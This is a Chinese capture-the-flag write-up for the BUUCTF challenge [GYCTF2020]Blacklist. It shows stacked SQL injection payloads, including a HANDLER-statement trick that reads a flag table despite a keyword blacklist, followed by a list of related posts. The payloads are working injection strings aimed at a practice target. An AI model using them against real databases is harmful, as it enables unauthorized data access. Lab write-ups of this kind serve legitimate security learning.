buuctf-[GYCTF2020]Blacklist1（小宇特详解）

1.先看题目是一道sql注入的题目

先尝试进行闭合

payload：1’

这里可以试出来是'来进行闭合即可

2.然后尝试着进行联合查询

发现是进行了过滤。

3.这里尝试着进行堆叠注入

payload:1’;show tables;#

4.查表

payload：1’; show columns from FlagHere;#

这里屏蔽了许多东西

5.这里由于rename，和alter被过滤了，这里考虑利用HANDLER语句

这里先解释一下HANDLER语句的用法

这里的HANDLER语句和select查询语句都可以在mysql中查询想要的东西

他的基本语句是

通过HANDLER tbl_name OPEN打开一张表，无返回结果。

通过HANDLER tbl_name READ FIRST获取tbl_name的第一行，通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的tbl_name。

payload：1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

buuctf-[GYCTF2020]Blacklist1（小宇特详解）相关推荐

nps内网穿透服务器搭建教程(阿里云)-小宇特详解
nps内网穿透服务器搭建教程(阿里云)-小宇特详解前期准备 1.一台云服务器 2.配置安全组 3.在自己的电脑上安装nps 云服务器的话自己买,我这里使用的是阿里云讲一下配置安全组打开阿里云的官 ...
cc链2(小宇特详解)
cc链2(小宇特详解) 漏洞环境 jdk8u71 apache commons collection-4.0 与cc链1的区别 cc链2利用链中使用了动态字节码编程来构造poc cc链2没有使用反序列 ...
Joomla远程代码执行漏洞分析小白版（小宇特详解）
Joomla远程代码执行漏洞分析小白版(小宇特详解) 今天看了一下2021陇原战役WP,在看web方向的时候,看到pop链,想了解一下,后来又看到了p师傅在15年的一篇文章,在这里记录一下.这里主要是 ...
buuctf-[BSidesCF 2020]Had a bad day(小宇特详解)
buuctf-[BSidesCF 2020]Had a bad day(小宇特详解) 先看一下题目这里上面有注入点,这里怀疑是SQL注入先尝试读取一下index.php 这里使用php伪协议 pa ...
java中北大学ppt总结+课后习题第四章（小宇特详解）
java中北大学ppt总结+课后习题第四章(小宇特详解) 继承子类与父类继承是根据现有类创建新的类的机制,由继承而得到的新类称为子类(subclass)或派生类(derived class),被继 ...
数据库中北大学第二章ppt总结和课后习题详解（小宇特详解）
数据库中北大学第二章ppt总结和课后习题详解(小宇特详解) 第2章数据模型与系统结构 2.1 数据模型的基本概念现实世界--具体事物->信息世界--概念模型->机器世界--DBMS支持 ...
解决kali中john无法破解hash(小宇特详解)
解决kali中john无法破解hash(小宇特详解) 问题描述: john使用w=/usr/share/wordlists/rockyou.txt来进行破解无法进行破解. 报错: /usr/share ...
buuctf-[GXYCTF2019]BabySQli WP(小宇特详解)
buuctf-[GXYCTF2019]BabySQli WP(小宇特详解) 这里先看一下源码查看search.php 这里先base32解码,然后在base64解码得到 select * from ...
java中北大学ppt总结+课后习题第二章（小宇特详解）
java中北大学ppt总结+课后习题第二章(小宇特详解) 基本数据类型 Java语言有8种基本数据类型. 逻辑类型:boolean.1字节整数类型: 1字节整数类型:byte. 2字节整数类型:sh ...

buuctf-[GYCTF2020]Blacklist1（小宇特详解）

buuctf-[GYCTF2020]Blacklist1（小宇特详解）

buuctf-[GYCTF2020]Blacklist1（小宇特详解）相关推荐

最新文章

热门文章